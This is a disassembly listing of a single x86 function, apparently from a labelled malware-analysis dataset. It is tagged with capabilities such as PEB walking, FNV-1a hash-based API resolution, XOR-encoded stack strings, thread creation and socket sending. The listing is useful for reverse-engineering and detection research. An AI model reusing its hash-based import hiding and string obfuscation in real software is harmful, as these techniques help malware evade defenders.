Function at 0x451eb0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Create directory
Create thread
Encode data using xor
Get common file path
Get number of processors
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Send data
Send data on socket
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f8a7d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x574
mov dword [ebp - 0x18], 0
mov eax, dword fs:[0x30]
push esi
push edi
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x38], ecx
cmp ecx, esi
je 0x451f47
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x451f47
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x451f3d
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x451f20
cmp esi, 0x6dd8a845
je 0x451f4b
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x451f08
mov eax, dword [eax]
jmp 0x451ee3
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x10], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov esi, dword [ecx + 0x18]
mov dword [ebp - 0x38], esi
mov edx, dword [esi + 0x3c]
mov eax, dword [edx + esi + 0x78]
add eax, esi
mov dword [ebp - 0x1c], eax
cmp eax, esi
je 0x451fdf
mov edi, dword [eax + 0x18]
test edi, edi
je 0x451fdf
mov eax, dword [eax + 0x20]
lea eax, [eax + edi*4]
add eax, esi
nop dword [eax + eax]
mov edx, dword [eax - 4]
sub eax, 4
add edx, esi
mov dword [ebp - 0x14], eax
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x451fd5
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x451fb8
cmp esi, 0x60993b9d
je 0x451fe3
mov eax, dword [ebp - 0x14]
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x451fa0
mov ecx, dword [ecx]
jmp 0x451f76
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x38]
push 0x8000
push dword [ebp - 0x10]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push method.std::_Ref_count_obj2_struct_std::filesystem::_Recursive_dir_enum_impl_.virtual_12
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov edi, dword [0x530b44]
mov esi, dword [0x530b40]
push 0
push 2
push edi
push esi
call fcn.004ee270
mov ecx, dword [0x530b48]
sub ecx, eax
mov eax, dword [0x530b4c]
mov dword [ebp - 0x38], ecx
sbb eax, edx
xor ecx, esi
mov dword [ebp - 0x1c], eax
xor eax, edi
or ecx, eax
je 0x452057
add esi, dword [ebp - 0x38]
mov dword [0x530b40], esi
adc edi, dword [ebp - 0x1c]
mov dword [0x530b44], edi
test edi, edi
jl 0x45207c
jg 0x452065
cmp esi, 0x186a0
jbe 0x45207c
xorps xmm0, xmm0
movlpd qword [0x530b40], xmm0
mov edi, dword [0x530b44]
mov esi, dword [0x530b40]
push 0
push 2
push edi
push esi
call fcn.004ee270
mov ecx, dword [ebp - 0x38]
sub ecx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x38], ecx
sbb eax, edx
mov dword [0x530b48], ecx
mov dword [ebp - 0x1c], eax
xor ecx, esi
mov dword [0x530b4c], eax
xor eax, edi
or ecx, eax
je 0x4520bc
add esi, dword [ebp - 0x38]
mov dword [0x530b40], esi
adc edi, dword [ebp - 0x1c]
mov dword [0x530b44], edi
test edi, edi
jl 0x4520d5
jg 0x4520ca
cmp esi, 0x186a0
jbe 0x4520d5
xorps xmm0, xmm0
movlpd qword [0x530b40], xmm0
push 0
call fcn.004d6c6b
push eax
call fcn.004ce89c
add esp, 8
call fcn.00408c10
mov eax, dword [0x530b40]
xor dword [0x530b48], eax
mov eax, dword [0x530b44]
xor dword [0x530b4c], eax
xor ecx, ecx
mov dword [ebp - 0x66], 0xfaeaedeb
mov byte [ebp - 0x62], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x66]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x66], al
inc ecx
cmp ecx, 4
jb 0x452110
lea edx, [ebp - 0x66]
lea ecx, [edx + 1]
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x452130
sub edx, ecx
lea eax, [ebp - 0x66]
cmp dword [0x530c14], 0x10
mov ecx, 0x530c00
push edx
cmovae ecx, dword [0x530c00]
mov edx, dword [0x530c10]
push eax
push 0
call fcn.0045db60
add esp, 0xc
test eax, eax
jne 0x45220f
call fcn.00414820
test al, al
je 0x45220a
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x4521e7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4521e7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4521dd
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4521c0
cmp esi, 0xe80fd3a
je 0x4521eb
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4521a7
mov eax, dword [eax]
jmp 0x452182
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x1c]
push 0
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
jmp 0x45220f
call fcn.00414960
call fcn.00408c10
mov esi, dword [0x530b40]
mov edi, dword [0x530b44]
xor dword [0x530b48], esi
xor dword [0x530b4c], edi
xor ecx, ecx
mov dword [ebp - 0x61], 0xfaeaedeb
mov byte [ebp - 0x5d], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x61]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x61], al
inc ecx
cmp ecx, 4
jb 0x452240
lea edx, [ebp - 0x61]
lea ecx, [edx + 1]
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x452260
sub edx, ecx
lea eax, [ebp - 0x61]
cmp dword [0x530bb4], 0x10
mov ecx, 0x530ba0
push edx
cmovae ecx, dword [0x530ba0]
mov edx, dword [0x530bb0]
push eax
push 0
call fcn.0045db60
add esp, 0xc
test eax, eax
jne 0x45236c
call fcn.004149a0
mov byte [ebp - 0x21], al
call fcn.00414a30
mov byte [ebp - 0x55], al
call fcn.00414cb0
cmp byte [ebp - 0x21], 0
jne 0x4522cb
cmp byte [ebp - 0x55], 0
jne 0x4522cb
test al, al
jne 0x4522cb
call fcn.00414860
test al, al
je 0x452360
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x45233f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45233f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x452335
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x452318
cmp esi, 0xe80fd3a
je 0x452343
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x452300
mov eax, dword [eax]
jmp 0x4522d7
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x1c]
push 0
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov esi, dword [0x530b40]
mov edi, dword [0x530b44]
mov dword [ebp - 0x8d], 0xfaeaedeb
xor ecx, ecx
mov byte [ebp - 0x89], 0
nop
movzx eax, byte [ebp + ecx - 0x8d]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x8d], al
inc ecx
cmp ecx, 4
jb 0x452380
lea edx, [ebp - 0x8d]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x4523a4
sub edx, ecx
lea eax, [ebp - 0x8d]
cmp dword [0x530ca4], 0x10
mov ecx, 0x530c90
push edx
cmovae ecx, dword [0x530c90]
mov edx, dword [0x530ca0]
push eax
push 0
call fcn.0045db60
add esp, 0xc
test eax, eax
jne 0x4523f0
lea ecx, [eax + 1]
call fcn.00414e60
mov edi, dword [0x530b44]
mov esi, dword [0x530b40]
mov dword [ebp - 0x85], 0xfaeaedeb
xor ecx, ecx
mov byte [ebp - 0x81], 0
nop dword [eax]
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x85]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x85], al
inc ecx
cmp ecx, 4
jb 0x452410
lea edx, [ebp - 0x85]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x452434
sub edx, ecx
lea eax, [ebp - 0x85]
cmp dword [0x530c8c], 0x10
mov ecx, 0x530c78
push edx
cmovae ecx, dword [0x530c78]
mov edx, dword [0x530c88]
push eax
push 0
call fcn.0045db60
add esp, 0xc
test eax, eax
jne 0x45248a
call fcn.00416240
test al, al
je 0x4525c9
call fcn.004164c0
mov edi, dword [0x530b44]
mov esi, dword [0x530b40]
push 0
push 2
push edi
push esi
call fcn.004ee270
mov ecx, dword [0x530b48]
sub ecx, eax
mov eax, dword [0x530b4c]
mov dword [ebp - 0x10], ecx
sbb eax, edx
mov dword [0x530b48], ecx
mov dword [ebp - 0x14], eax
xor ecx, esi
mov dword [0x530b4c], eax
xor eax, edi
or ecx, eax
je 0x4524cf
add esi, dword [ebp - 0x10]
mov dword [0x530b40], esi
adc edi, dword [ebp - 0x14]
mov dword [0x530b44], edi
test edi, edi
jl 0x4524e8
jg 0x4524dd
cmp esi, 0x186a0
jbe 0x4524e8
xorps xmm0, xmm0
movlpd qword [0x530b40], xmm0
mov dword [ebp - 0xa4], 0xf7f1f6e8
xor ecx, ecx
mov dword [ebp - 0xa0], 0xb1efebeb
mov dword [ebp - 0x9c], 0xf3f3fb
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0xa4]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0xa4], al
inc ecx
cmp ecx, 0xb
jb 0x452510
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x45259f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45259f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x452595
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x452578
cmp esi, 0x53b2070f
je 0x4525a3
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x452560
mov eax, dword [eax]
jmp 0x452537
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0xa4]
add eax, edx
push ecx
call eax
test eax, eax
jne 0x4525dd
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret 0x10
lea eax, [ebp - 0x251]
push eax
call fcn.00454ba0
mov esi, eax
xor edx, edx
nop dword [eax]
movzx ecx, byte [esi + edx]
push ecx
call fcn.00459470
mov byte [esi + edx], al
inc edx
cmp edx, 0xb
jb 0x4525f0
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
call fcn.00474aa0
call fcn.004b38e0
push 0
push 0
push 0
push 0x41ab80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x530b38], 0xffffffff
jne 0x4526e5
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x1c], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x14], ecx
cmp ecx, edx
je 0x4526b7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4526b7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, edx
sub ecx, 4
dec edi
mov dword [ebp - 0x10], ecx
mov esi, 0x811c9dc5
mov ecx, dword [ecx]
add ecx, edx
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x4526ad
nop dword [eax]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x452690
cmp esi, 0x2fa62ca8
je 0x4526bb
mov ecx, dword [ebp - 0x10]
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x452675
mov eax, dword [eax]
jmp 0x452650
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x1c]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp dword [0x530b38], 0xffffffff
je 0x452640
mov ecx, 0x104
lea eax, [ebp - 0x580]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4526f0
lea eax, [ebp - 0x580]
push eax
push 0xfa
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call fcn.00408c10
mov eax, dword [0x530b40]
lea ecx, [ebp - 0x1e0]
xor dword [0x530b48], eax
mov edx, 0xc
mov eax, dword [0x530b44]
xor dword [0x530b4c], eax
call fcn.0040bf60
mov dword [ebp - 4], 0
lea eax, [ebp - 0x196]
push eax
call fcn.00454bc0
mov esi, eax
xor edx, edx
nop
movzx ecx, byte [edx + esi]
push ecx
call fcn.00459470
mov byte [edx + esi], al
inc edx
cmp edx, 7
jb 0x452750
push esi
lea ecx, [ebp - 0x29c]
call fcn.00402790
mov byte [ebp - 4], 1
lea edx, [ebp - 0x580]
push eax
lea ecx, [ebp - 0x284]
call fcn.0045c570
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1e0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x26c]
call fcn.0045c610
add esp, 8
mov byte [ebp - 4], 3
mov ecx, 0x530b88
push eax
call fcn.00458070
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x26c]
call fcn.00402780
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x284]
call fcn.00402780
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x29c]
call fcn.00402780
lea eax, [ebp - 0x1c0]
push eax
call fcn.00454be0
mov esi, eax
xor edx, edx
nop dword [eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00459470
mov byte [edx + esi], al
inc edx
cmp edx, 7
jb 0x4527f0
push esi
lea ecx, [ebp - 0x2cc]
call fcn.00402790
mov byte [ebp - 4], 4
lea edx, [ebp - 0x580]
push eax
lea ecx, [ebp - 0x2b4]
call fcn.0045c570
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1e0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x128]
call fcn.0045c610
add esp, 8
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x2b4]
call fcn.00402780
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x2cc]
call fcn.00402780
mov ecx, 0x530b88
call fcn.00457e70
mov ecx, eax
call fcn.0040b8c0
test al, al
je 0x452881
push ecx
mov ecx, 0x530b88
call fcn.0040b910
add esp, 4
lea ecx, [ebp - 0x128]
call fcn.00457e70
mov ecx, eax
call fcn.0040b8c0
test al, al
je 0x4528a6
push ecx
lea ecx, [ebp - 0x128]
call fcn.0040b910
add esp, 4
push 0
mov ecx, 0x530b88
call fcn.00457e70
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call esi
test eax, eax
jne 0x4528d1
mov ecx, 0x530b88
call fcn.00415f90
test al, al
je 0x454b59
push 0
lea ecx, [ebp - 0x128]
call fcn.00457e70
push eax
call esi
test eax, eax
jne 0x45295d
mov esi, dword [0x530b44]
mov edi, dword [0x530b40]
push eax
push 2
push esi
push edi
call fcn.004ee270
mov ecx, dword [0x530b48]
sub ecx, eax
mov eax, dword [0x530b4c]
mov dword [ebp - 0x10], ecx
sbb eax, edx
mov dword [0x530b48], ecx
mov dword [ebp - 0x14], eax
xor ecx, edi
mov dword [0x530b4c], eax
xor eax, esi
or ecx, eax
je 0x452939
add edi, dword [ebp - 0x10]
mov dword [0x530b40], edi
adc esi, dword [ebp - 0x14]
mov dword [0x530b44], esi
test esi, esi
jl 0x452952
jg 0x452947
cmp edi, 0x186a0
jbe 0x452952
xorps xmm0, xmm0
movlpd qword [0x530b40], xmm0
lea ecx, [ebp - 0x128]
call fcn.00415f90
lea ecx, [ebp - 0x128]
call fcn.00457e70
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x38], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
nop dword [eax + eax]
mov esi, dword [ecx + 0x18]
mov dword [ebp - 0x1c], esi
mov edx, dword [esi + 0x3c]
mov eax, dword [edx + esi + 0x78]
add eax, esi
mov dword [ebp - 0x14], eax
cmp eax, esi
je 0x4529e7
mov edi, dword [eax + 0x18]
test edi, edi
je 0x4529e7
mov eax, dword [eax + 0x20]
lea eax, [eax + edi*4]
add eax, esi
mov edx, dword [eax - 4]
sub eax, 4
add edx, esi
mov dword [ebp - 0x10], eax
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x4529dd
nop dword [eax]
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x4529c0
cmp esi, 0x7a5b9fa2
je 0x4529eb
mov eax, dword [ebp - 0x10]
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x4529a5
mov ecx, dword [ecx]
jmp 0x452980
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x1c]
push dword [ebp - 0x38]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea eax, [ebp - 0x128]
mov ecx, 0x530c18
push eax
call fcn.00458040
mov esi, dword [0x530b44]
mov edi, dword [0x530b40]
push 0
push 2
push esi
push edi
call fcn.004ee270
mov ecx, dword [0x530b48]
sub ecx, eax
mov eax, dword [0x530b4c]
mov dword [ebp - 0x10], ecx
sbb eax, edx
mov dword [0x530b48], ecx
mov dword [ebp - 0x14], eax
xor ecx, edi
mov dword [0x530b4c], eax
xor eax, esi
or ecx, eax
je 0x452a6b
add edi, dword [ebp - 0x10]
mov dword [0x530b40], edi
adc esi, dword [ebp - 0x14]
mov dword [0x530b44], esi
test esi, esi
jl 0x452a84
jg 0x452a79
cmp edi, 0x186a0
jbe 0x452a84
xorps xmm0, xmm0
movlpd qword [0x530b40], xmm0
push 9
push 0x9d3bf023
mov byte [0x532f46], 0
call fcn.00408c30
xorps xmm0, xmm0
mov dword [ebp - 0x10], eax
mov eax, dword [0x530b38]
add esp, 8
movups xmmword [ebp - 0xd0], xmm0
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0xf
mov byte [ebp - 0xd0], 0
mov byte [ebp - 4], 9
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x54]
call fcn.00458190
mov byte [ebp - 4], 0xb
xor esi, esi
cmp dword [ebp - 0x44], esi
jbe 0x452c29
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x54]
cmp ecx, 0x10
lea eax, [ebp - 0x54]
cmovae eax, edx
xor byte [eax + esi], 0x36
lea eax, [ebp - 0x54]
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
mov edx, dword [ebp - 0x54]
cmovae eax, edx
cmp byte [eax + esi], 0
lea eax, [ebp - 0x54]
jne 0x452b3a
cmp ecx, 0x10
cmovae eax, edx
mov byte [eax + esi], 0x55
jmp 0x452c19
cmp ecx, 0x10
cmovae eax, edx
cmp byte [eax + esi], 0x55
lea eax, [ebp - 0x54]
jne 0x452b58
cmp ecx, 0x10
cmovae eax, edx
mov byte [eax + esi], 0xff
jmp 0x452c19
cmp ecx, 0x10
cmovae eax, edx
cmp byte [eax + esi], 0xff
lea eax, [ebp - 0x54]
jne 0x452b76
cmp ecx, 0x10
cmovae eax, edx
mov byte [eax + esi], 0xfd
jmp 0x452c19
cmp ecx, 0x10
cmovae eax, edx
cmp byte [eax + esi], 0xfd
lea eax, [ebp - 0x54]
jne 0x452b94
cmp ecx, 0x10
cmovae eax, edx
mov byte [eax + esi], 0xde
jmp 0x452c19
cmp ecx, 0x10
cmovae eax, edx
cmp byte [eax + esi], 0xde
lea eax, [ebp - 0x54]
jne 0x452baf
cmp ecx, 0x10
cmovae eax, edx
mov byte [eax + esi], 5
jmp 0x452c19
cmp ecx, 0x10
cmovae eax, edx
cmp byte [eax + esi], 5
lea eax, [ebp - 0x54]
jne 0x452bca
cmp ecx, 0x10
cmovae eax, edx
mov byte [eax + esi], 1
jmp 0x452c19
cmp ecx, 0x10
cmovae eax, edx
cmp byte [eax + esi], 1
lea eax, [ebp - 0x54]
jne 0x452be5
cmp ecx, 0x10
cmovae eax, edx
mov byte [eax + esi], 0xa
jmp 0x452c19
cmp ecx, 0x10
cmovae eax, edx
cmp byte [eax + esi], 0xa
lea eax, [ebp - 0x54]
jne 0x452c00
cmp ecx, 0x10
cmovae eax, edx
mov byte [eax + esi], 0x80
jmp 0x452c19
cmp ecx, 0x10
cmovae eax, edx
cmp byte [eax + esi], 0x80
jne 0x452c1f
cmp ecx, 0x10
lea eax, [ebp - 0x54]
cmovae eax, edx
mov byte [eax + esi], 0
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x54]
inc esi
cmp esi, dword [ebp - 0x44]
jb 0x452b06
movups xmm0, xmmword [ebp - 0x54]
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0
movups xmmword [ebp - 0x108], xmm0
movups xmmword [ebp - 0xb8], xmm0
movq xmm0, qword [ebp - 0x44]
movq qword [ebp - 0xf8], xmm0
movq qword [ebp - 0x30], xmm0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
mov dword [ebp - 0x18], 0x400
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0xd0]
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.00402890
movups xmm0, xmmword [ebp - 0xb8]
mov eax, 0x400
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0xf
movups xmmword [ebp - 0xd0], xmm0
mov byte [ebp - 0x108], 0
movq xmm0, qword [ebp - 0x30]
mov dword [ebp - 0x18], eax
and eax, 0xfffffbff
movq qword [ebp - 0xc0], xmm0
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 9
xorps xmm0, xmm0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0xf
mov byte [ebp - 0x108], 0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x20], 0x430fd
mov eax, dword [ebp - 0x20]
xor eax, 0xb
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
xor ecx, 0
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x3c], 0xb
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x20], 0x553c
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0xb0], 0x3196
mov dword [ebp - 0xac], 0
mov edx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
add edx, eax
mov ecx, dword [ebp - 0x38]
adc esi, ecx
add edx, 1
mov dword [ebp - 0x20], edx
adc esi, 0
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xac]
mov edx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x2c]
sub edx, eax
mov dword [ebp - 0x30], edx
sbb esi, ecx
mov dword [ebp - 0x2c], esi
mov esi, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
push eax
push ecx
push edx
push esi
call fcn.004b30d0
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov edi, dword [ebp - 0xc0]
add ecx, edi
mov eax, dword [ebp - 0x70]
cmp ecx, eax
ja 0x452df7
cmp dword [ebp - 0x6c], 0x10
lea eax, [ebp - 0x80]
mov dword [ebp - 0x70], ecx
cmovae eax, dword [ebp - 0x80]
mov byte [eax + ecx], 0
jmp 0x452e04
sub ecx, eax
push 0
push ecx
lea ecx, [ebp - 0x80]
call fcn.0045a6d0
cmp dword [ebp - 0x6c], 0x10
lea eax, [ebp - 0x80]
push 9
cmovae eax, dword [ebp - 0x80]
lea esi, [ebp - 0x80]
push 0x9d367033
mov dword [eax], 0xabbadaad
cmp dword [ebp - 0x6c], 0x10
cmovae esi, dword [ebp - 0x80]
call fcn.00408c30
push 0
push 0x12d85104
mov dword [eax + esi], edi
lea esi, [ebp - 0x80]
cmp dword [ebp - 0x6c], 0x10
cmovae esi, dword [ebp - 0x80]
call fcn.00408d60
mov ecx, dword [ebp - 0x10]
add esp, 0x10
mov dword [eax + esi], ecx
test edi, edi
je 0x452f5a
cmp dword [ebp - 0xbc], 0x10
lea eax, [ebp - 0xd0]
mov dword [ebp - 0x30], 0x430fd
lea edi, [ebp - 0x80]
cmovae eax, dword [ebp - 0xd0]
cmp dword [ebp - 0x6c], 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x30]
cmovae edi, dword [ebp - 0x80]
xor eax, 0xb
mov dword [ebp - 0x2c], 0
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x90], eax
xor ecx, 0
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0xb0], 0xb
mov dword [ebp - 0xac], 0
mov dword [ebp - 0x30], 0x553c
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x88], 0x3196
mov dword [ebp - 0x84], 0
mov edx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xb0]
add edx, eax
mov ecx, dword [ebp - 0xac]
adc esi, ecx
add edx, 1
mov dword [ebp - 0xb0], edx
adc esi, 0
mov dword [ebp - 0xac], esi
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x84]
mov edx, dword [ebp - 0x90]
mov esi, dword [ebp - 0x8c]
sub edx, eax
mov dword [ebp - 0x30], edx
sbb esi, ecx
mov dword [ebp - 0x2c], esi
